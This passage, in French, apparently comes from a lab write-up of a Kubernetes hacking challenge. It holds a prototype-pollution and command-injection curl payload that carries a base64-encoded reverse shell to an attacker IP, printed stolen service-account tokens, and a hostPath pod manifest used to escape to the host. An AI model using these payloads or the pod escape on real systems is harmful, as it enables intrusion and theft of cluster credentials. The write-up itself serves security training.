-----END CERTIFICATE-----' > ca.cert
$ export CACERT=/home/htb-mp-757893/ca.cert
$ export NAMESPACE=default
Nos variables d’environnement sont configurées, maintenant installons kubectl !
$ curl -LO https://dl.k8s.io/release/$(curl -Ls https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 138 100 138 0 0 1031 0 --:--:-- --:--:-- --:--:-- 1029
100 49.0M 100 49.0M 0 0 36.5M 0 0:00:01 0:00:01 --:--:-- 34.1M
$ ls
app google-cloudstorage-commands-0.0.1.tgz my_data report-20240429110217.html
bin insider README.md report-20240429110217.json
ca.cert insider_2.1.0_linux_x86_64.tar.gz report-20240429110031.html style.css
Desktop kubectl report-20240429110031.json Templates
$ chmod +x ./kubectl
$ sudo mv ./kubectl /usr/local/bin/kubectl
$ kubectl version --client
Client Version: v1.30.0
Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3
$ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'
$ k get namespace
NAME STATUS AGE
default Active 609d
kube-system Active 609d
kube-public Active 609d
kube-node-lease Active 609d
dev Active 609d
Dans le code snippet au dessus j’ai créé un alias pour éviter d’écrire le token, serveur et le certificat.
Inspectons nos permissions:
k auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
La commande k auth can-i --list liste les autorisations disponibles pour l'utilisateur actuel dans un environnement Kubernetes. Dans notre cas nous n’avons pas énormément de permissions dans ce namespace. On va lister les namespaces dans le but de trouver des permissions intéressantes pour nous.
$ k get ns
NAME STATUS AGE
default Active 609d
kube-system Active 609d
kube-public Active 609d
kube-node-lease Active 609d
dev Active 609d
Nous avons 5 namespaces, inspectons nos permissions dans le namespace dev
.
$ k auth can-i --list -n dev
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
pods [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get
pods [] [] [get list]
Nous pouvons lister les pods, alors faisons le !
$ k get pods -n dev
NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (184d ago) 609d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (184d ago) 609d
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (184d ago) 609d
On constate 3 pods qui sont actuellement en ligne, grâce à kubectl nous pouvons obtenir beaucoup d’informations sur ces pods grâce à la commande kubectl describe
:
$ k -n dev describe pod devnode-deployment-776dbcf7d6-7gjgf
Name: devnode-deployment-776dbcf7d6-7gjgf
Namespace: dev
Priority: 0
Service Account: default
Node: unobtainium/10.129.171.170
Start Time: Mon, 29 Aug 2022 10:32:21 +0100
Labels: app=devnode
pod-template-hash=776dbcf7d6
Annotations: <none>
Status: Running
IP: 10.42.0.71
IPs:
IP: 10.42.0.71
Controlled By: ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
devnode:
Container ID: docker://d8e47e65a2a3e797e5bb008ac93fff0fe7ab27385c1cf0ff343ce9851dc8b6c1
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Mon, 29 Apr 2024 13:27:31 +0100
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Fri, 27 Oct 2023 16:17:50 +0100
Finished: Fri, 27 Oct 2023 16:24:53 +0100
Ready: True
Restart Count: 6
Environment: <none>
Mounts:
/root/ from user-flag (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-snd89 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
user-flag:
Type: HostPath (bare host directory volume)
Path: /opt/user/
HostPathType:
kube-api-access-snd89:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
Comme nous pouvons le constater il y a vraiment beaucoup d’informations ici, comme les volumes qui sont montés, l’image utilisée, les ports, les labels, etc …
🚀 Élévation de privilège
Ce que j’ai retenu ici c’est l’adressage ip:
devnode-deployment-776dbcf7d6-7gjgf
:10.42.0.71
devnode-deployment-776dbcf7d6-sr6vj
:10.42.0.67
devnode-deployment-776dbcf7d6-g4659
:10.42.0.63
Essayons d’atteindre ces pods depuis celui que nous avons pwn:
root@webapp-deployment-9546bc7cb-zjnnh:/var/run/secrets/kubernetes.io/serviceaccount# ping 10.42.0.71
PING 10.42.0.71 (10.42.0.71) 56(84) bytes of data.
64 bytes from 10.42.0.71: icmp_seq=1 ttl=64 time=0.169 ms
64 bytes from 10.42.0.71: icmp_seq=2 ttl=64 time=0.107 ms
^C
--- 10.42.0.71 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 9ms
rtt min/avg/max/mdev = 0.107/0.138/0.169/0.031 ms
root@webapp-deployment-9546bc7cb-zjnnh:/var/run/secrets/kubernetes.io/serviceaccount# ping 10.42.0.67
PING 10.42.0.67 (10.42.0.67) 56(84) bytes of data.
64 bytes from 10.42.0.67: icmp_seq=1 ttl=64 time=0.146 ms
64 bytes from 10.42.0.67: icmp_seq=2 ttl=64 time=0.066 ms
^C
--- 10.42.0.67 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 25ms
rtt min/avg/max/mdev = 0.066/0.106/0.146/0.040 ms
root@webapp-deployment-9546bc7cb-zjnnh:/var/run/secrets/kubernetes.io/serviceaccount# ping 10.42.0.63
PING 10.42.0.63 (10.42.0.63) 56(84) bytes of data.
64 bytes from 10.42.0.63: icmp_seq=1 ttl=64 time=0.199 ms
64 bytes from 10.42.0.63: icmp_seq=2 ttl=64 time=0.095 ms
^C
--- 10.42.0.63 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 9ms
rtt min/avg/max/mdev = 0.095/0.147/0.199/0.052 ms
Parfait, tous sont atteignables. Nous avons remarqué lors du describe
que le port 3000 était utilisé sur ces pods, alors essayons d’interagir avec eux. Rapidement on se rend compte qu’il semblerait que ce soit la même application web que tout à l’heure. Dans ce cas on va bêtement réutiliser nos attaques de tout à l’heure !
Reproduisons donc ceci :
curl -m5 -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"foo": "bar", "__proto__": {"canUpload": true}}}' http://10.42.0.71:3000/ && echo && curl -m5 -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename":"foobar; echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvNDQ0NCAwPiYx' | base64 -d | bash;"}' -H "Content-Type: application/json" http://10.42.0.71:3000/upload
$ nc -lnvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.171.170.
Ncat: Connection from 10.129.171.170:11510.
sh: 0: can't access tty; job control turned off
# id
Super, nous obtenons de nouveau un shell, on va reproduire exactement la même chose que précédemment, nous récupérons les tokens et certificat et mettre à jour nos variables d’environnement pour vérifier si nous avons d’autres rôles avec ce nouveau compte de service:
# cat token && echo
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTM1NDI1LCJpYXQiOjE3MTQzOTk0MjUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcxNDQwMzAzMn0sIm5iZiI6MTcxNDM5OTQyNSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.vVnxXZOm-Z7yZW3RcY-d33Nm_qumcizqLhNlzCnJXYGGJQUlvMYcT2FktS8x8VcFbIF_6TM8dhjwyMIMVQGBGEYY_WUs8aLhi7Fq7YqMcjhbNbS853aSUyId1fJBUWCUZlro--MhOnvr_s0KxF2Eno7si4-r2IF2KDhXotu-zNsvNuz8yQvE6IL1msi5GSnqBzbptvGYHlZyeF27WuF9h5hrr1pkMnsW7e2_HKu0rspag7HOxXe11Bh8Xpg5vBxGbOmsvtfHLuXYsK2Onz09HurCTLulydJF6YAlAm0lEM8SoEhmiCkrWrsbHfI6tkp94oJT8vDoLzKiEhR91eZiyw
# cat ca.crt && echo
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
$ export TOKEN='eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTM1NDI1LCJpYXQiOjE3MTQzOTk0MjUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcxNDQwMzAzMn0sIm5iZiI6MTcxNDM5OTQyNSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.vVnxXZOm-Z7yZW3RcY-d33Nm_qumcizqLhNlzCnJXYGGJQUlvMYcT2FktS8x8VcFbIF_6TM8dhjwyMIMVQGBGEYY_WUs8aLhi7Fq7YqMcjhbNbS853aSUyId1fJBUWCUZlro--MhOnvr_s0KxF2Eno7si4-r2IF2KDhXotu-zNsvNuz8yQvE6IL1msi5GSnqBzbptvGYHlZyeF27WuF9h5hrr1pkMnsW7e2_HKu0rspag7HOxXe11Bh8Xpg5vBxGbOmsvtfHLuXYsK2Onz09HurCTLulydJF6YAlAm0lEM8SoEhmiCkrWrsbHfI6tkp94oJT8vDoLzKiEhR91eZiyw'
Vérifions que tout marche:
$ k auth can-i --list -n default
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Rien d’intéressant sur ce namespace, tentons kube-system
:
$ k auth can-i --list -n kube-system
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
BINGO! On peut lister les secrets sur ce namespace!
$ k get -n kube-system secrets
NAME TYPE DATA AGE
unobtainium.node-password.k3s Opaque 1 609d
horizontal-pod-autoscaler-token-2fg27 kubernetes.io/service-account-token 3 609d
coredns-token-jx62b kubernetes.io/service-account-token 3 609d
local-path-provisioner-service-account-token-2tk2q kubernetes.io/service-account-token 3 609d
statefulset-controller-token-b25sg kubernetes.io/service-account-token 3 609d
certificate-controller-token-98jdq kubernetes.io/service-account-token 3 609d
root-ca-cert-publisher-token-t564t kubernetes.io/service-account-token 3 609d
ephemeral-volume-controller-token-brb5h kubernetes.io/service-account-token 3 609d
ttl-after-finished-controller-token-wf8k9 kubernetes.io/service-account-token 3 609d
replication-controller-token-9m8mh kubernetes.io/service-account-token 3 609d
service-account-controller-token-6vsl2 kubernetes.io/service-account-token 3 609d
node-controller-token-dfztj kubernetes.io/service-account-token 3 609d
metrics-server-token-d4k84 kubernetes.io/service-account-token 3 609d
pvc-protection-controller-token-btkqg kubernetes.io/service-account-token 3 609d
pv-protection-controller-token-k8gq8 kubernetes.io/service-account-token 3 609d
endpoint-controller-token-zd5b9 kubernetes.io/service-account-token 3 609d
disruption-controller-token-cnqj8 kubernetes.io/service-account-token 3 609d
cronjob-controller-token-csxvj kubernetes.io/service-account-token 3 609d
endpointslice-controller-token-wrnvm kubernetes.io/service-account-token 3 609d
pod-garbage-collector-token-56dzk kubernetes.io/service-account-token 3 609d
namespace-controller-token-g8jmq kubernetes.io/service-account-token 3 609d
daemon-set-controller-token-b68xx kubernetes.io/service-account-token 3 609d
replicaset-controller-token-7fkxv kubernetes.io/service-account-token 3 609d
job-controller-token-xctqc kubernetes.io/service-account-token 3 609d
ttl-controller-token-rsshv kubernetes.io/service-account-token 3 609d
deployment-controller-token-npk6k kubernetes.io/service-account-token 3 609d
# attachdetach-controller-token-xvj9h kubernetes.io/service-account-token 3 609d
endpointslicemirroring-controller-token-b5r69 kubernetes.io/service-account-token 3 609d
resourcequota-controller-token-8pp4p kubernetes.io/service-account-token 3 609d
generic-garbage-collector-token-5nkzj kubernetes.io/service-account-token 3 609d
persistent-volume-binder-token-865v2 kubernetes.io/service-account-token 3 609d
expand-controller-token-f2csp kubernetes.io/service-account-token 3 609d
clusterrole-aggregation-controller-token-wp8k6 kubernetes.io/service-account-token 3 609d
default-token-h5tf2 kubernetes.io/service-account-token 3 609d
c-admin-token-b47f7 kubernetes.io/service-account-token 3 609d
k3s-serving kubernetes.io/tls 2 185d
La commande du dessus a permis de lister tous les secrets sur le namespace kube-system
, On peut remarquer un nom un peu plus sympa que les autres: “c-admin-token-b47f7”, nous allons donc récupérer les détails de ce secret:
$ k describe -n kube-system secrets/c-admin-token-b47f7
Name: c-admin-token-b47f7
Namespace: kube-system
Labels: <none>
Annotations: kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
Type: kubernetes.io/service-account-token
Data
====
ca.crt: 570 bytes
namespace: 11 bytes
token: eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
Parfait, maintenant que nous avons le token de c-admin
nous allons mettre à jour nos variables d’environnement pour accéder à ses permissions:
$ export TOKEN='eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA'
$ k auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get
Il semblerait que ce soit la dernière ligne droite, nous disposons désormais de nombreuses permissions !
À présent notre objectif va être de créer un pod malicieux qui va monter en volume tout le fs de l’hôte. Pour cela nous allons commencer par récupérer les images disponibles:
k get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" | tr -s '[[:space:]]' '\n' | sort -u
localhost:5000/dev-alpine
localhost:5000/node_server
rancher/local-path-provisioner:v0.0.21
rancher/mirrored-coredns-coredns:1.8.6
rancher/mirrored-metrics-server:v0.5.2
On va maintenant créer un pod qui va monter le root de l’hôte dans /mnt à partir de l’image alpine, voilà un exemple de fichier de déploiement:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: htb
image: localhost:5000/dev-alpine
command: ["/bin/sh"]
args: ["-c", "sleep 300000"]
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
Nous allons maintenant appliquer notre fichier de déploiement, cela aura pour effet d’instancier un pod qui va monter en volume le /
du filesystem de l’hôte dans /mnt
k apply -f pod.yml
À présent, nous allons exécuter une commande shell à l'intérieur d'un conteneur en cours d'exécution, soit avoir un shell directement dans le pod concerné
$ k exec alpine -n kube-system /bin/sh --tty --stdin
$ cat /mnt/root/root.txt
XXXXXXXXXXXXXXXXXXX
📚 Ressources
- Pollution de prototype - portswigger
- Pollution de prototype - snyk
- Énumération Kubernetes - Hacktricks
- Electron